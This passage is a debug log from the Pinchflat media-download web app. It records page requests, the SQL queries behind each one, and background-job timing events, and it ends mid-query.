{"source":"oban","duration":5380,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:13:15.734 [info] {"source":"oban","duration":1158,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:13:18.704 [info] GET /media_profiles/new 21:13:18.704 [debug] Processing with PinchflatWeb.MediaProfiles.MediaProfileController.new/2 Parameters: %{"template_id" => "2"} Pipelines: [:browser] 21:13:18.705 [debug] QUERY OK source="media_profiles" db=0.6ms idle=1076.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 21:13:18.706 [debug] QUERY OK source="settings" db=0.3ms queue=0.4ms idle=1076.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:13:18.707 [debug] QUERY OK source="settings" db=0.4ms queue=0.4ms idle=275.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:13:18.708 [debug] QUERY OK source="settings" db=0.5ms idle=79.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:13:18.709 [debug] QUERY OK source="settings" db=0.9ms idle=80.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:13:18.711 [debug] QUERY OK source="settings" db=1.0ms idle=5.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:13:18.715 [info] Sent 200 in 11ms 21:13:36.018 [info] GET /media_profiles/new 21:13:36.018 [debug] Processing with PinchflatWeb.MediaProfiles.MediaProfileController.new/2 Parameters: %{"template_id" => "3"} Pipelines: [:browser] 21:13:36.019 [debug] QUERY OK source="media_profiles" db=0.4ms queue=0.1ms idle=1390.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [3] 21:13:36.020 [debug] QUERY OK source="settings" db=0.2ms idle=1391.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:13:36.020 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=1392.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:13:36.021 [debug] QUERY OK source="settings" db=0.4ms idle=1392.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:13:36.022 [debug] QUERY OK source="settings" db=0.5ms idle=557.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:13:36.023 [debug] QUERY OK source="settings" db=0.5ms idle=3.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:13:36.024 [info] Sent 200 in 5ms 21:13:45.736 [info] {"source":"oban","duration":1447,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:13:51.771 [info] GET /sources/1 21:13:51.771 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"delete_files" => "true", "id" => "1"} Pipelines: [:browser] 21:13:51.772 [debug] QUERY OK source="sources" db=0.5ms idle=281.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 21:13:51.773 [debug] QUERY OK source="media_profiles" db=0.3ms idle=144.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 21:13:51.773 [debug] QUERY OK source="tasks" db=0.4ms idle=145.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [1, "executing", "available", "scheduled", "retryable"] 21:13:51.774 [debug] QUERY OK source="oban_jobs" db=0.3ms idle=145.7ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [252] 21:13:51.775 [debug] QUERY OK source="settings" db=0.5ms idle=146.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:13:51.775 [debug] QUERY OK source="settings" db=0.3ms idle=2.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:13:51.776 [debug] QUERY OK source="settings" db=0.3ms idle=2.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:13:51.777 [debug] QUERY OK source="sources" db=0.2ms idle=3.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 21:13:51.779 [debug] QUERY OK source="media_items" db=1.5ms idle=3.7ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 21:13:51.781 [debug] QUERY OK source="media_items" db=1.8ms idle=4.6ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 21:13:51.782 [debug] QUERY OK source="sources" db=0.1ms idle=7.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 21:13:51.783 [debug] QUERY OK source="media_items" db=0.6ms idle=6.4ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [1] 21:13:51.785 [debug] QUERY OK source="media_items" db=1.1ms idle=5.8ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 21:13:51.785 [debug] QUERY OK source="sources" db=0.2ms idle=5.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 21:13:51.787 [debug] QUERY OK source="media_items" db=1.2ms idle=4.3ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [1] 21:13:51.789 [debug] QUERY OK source="media_items" db=1.5ms idle=4.5ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 21:13:51.790 [info] Sent 200 in 18ms 21:14:00.514 [info] {"source":"oban","duration":1355,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:14:06.448 [info] GET /sources/1/media/410 21:14:06.448 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "410", "prevent_download" => "true", "source_id" => "1"} Pipelines: [:browser] 21:14:06.449 [debug] QUERY OK source="media_items" db=0.6ms idle=931.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [410] 21:14:06.449 [debug] QUERY OK source="tasks" db=0.2ms idle=821.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [410] 21:14:06.450 [debug] QUERY OK source="sources" db=0.7ms idle=821.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 21:14:06.451 [debug] QUERY OK source="oban_jobs" db=0.7ms idle=822.1ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" IN (?,?)) [198, 251] 21:14:06.451 [debug] QUERY OK source="settings" db=0.0ms idle=823.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:14:06.452 [debug] QUERY OK source="settings" db=0.3ms idle=2.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:14:06.453 [debug] QUERY OK source="settings" db=0.2ms idle=3.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:14:06.453 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 21:14:06.454 [info] Sent 200 in 6ms 21:14:15.738 [info] {"source":"oban","duration":1241,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:14:19.877 [info] GET /sources/1/media/408 21:14:19.877 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "408", "prevent_download" => "true", "source_id" => "1"} Pipelines: [:browser] 21:14:19.878 [debug] QUERY OK source="media_items" db=0.6ms idle=334.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [408] 21:14:19.879 [debug] QUERY OK source="tasks" db=0.9ms idle=250.4ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [408] 21:14:19.880 [debug] QUERY OK source="sources" db=1.2ms idle=250.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 21:14:19.880 [debug] QUERY OK source="oban_jobs" db=0.5ms idle=252.0ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" IN (?,?)) [196, 249] 21:14:19.881 [debug] QUERY OK source="settings" db=0.1ms queue=0.4ms idle=252.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:14:19.882 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=3.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:14:19.883 [debug] QUERY OK source="settings" db=0.5ms idle=2.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:14:19.883 [debug] QUERY OK source="media_profiles" db=0.2ms idle=3.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 21:14:19.885 [info] Sent 200 in 7ms 21:14:31.304 [info] GET /sources/1/media/392 21:14:31.304 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "392", "prevent_download" => "true", "source_id" => "1"} Pipelines: [:browser] 21:14:31.305 [debug] QUERY OK source="media_items" db=0.5ms idle=1676.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [392] 21:14:31.306 [debug] QUERY OK source="tasks" db=0.2ms idle=1677.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [392] 21:14:31.306 [debug] QUERY OK source="sources" db=0.3ms idle=1678.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 21:14:31.307 [debug] QUERY OK source="oban_jobs" db=0.6ms idle=1679.0ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" IN (?,?)) [180, 233] 21:14:31.308 [debug] QUERY OK source="settings" db=0.6ms idle=744.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:14:31.309 [debug] QUERY OK source="settings" db=0.3ms idle=3.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:14:31.310 [debug] QUERY OK source="settings" db=0.5ms idle=3.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:14:31.311 [debug] QUERY OK source="media_profiles" db=0.3ms idle=4.0ms SELECT 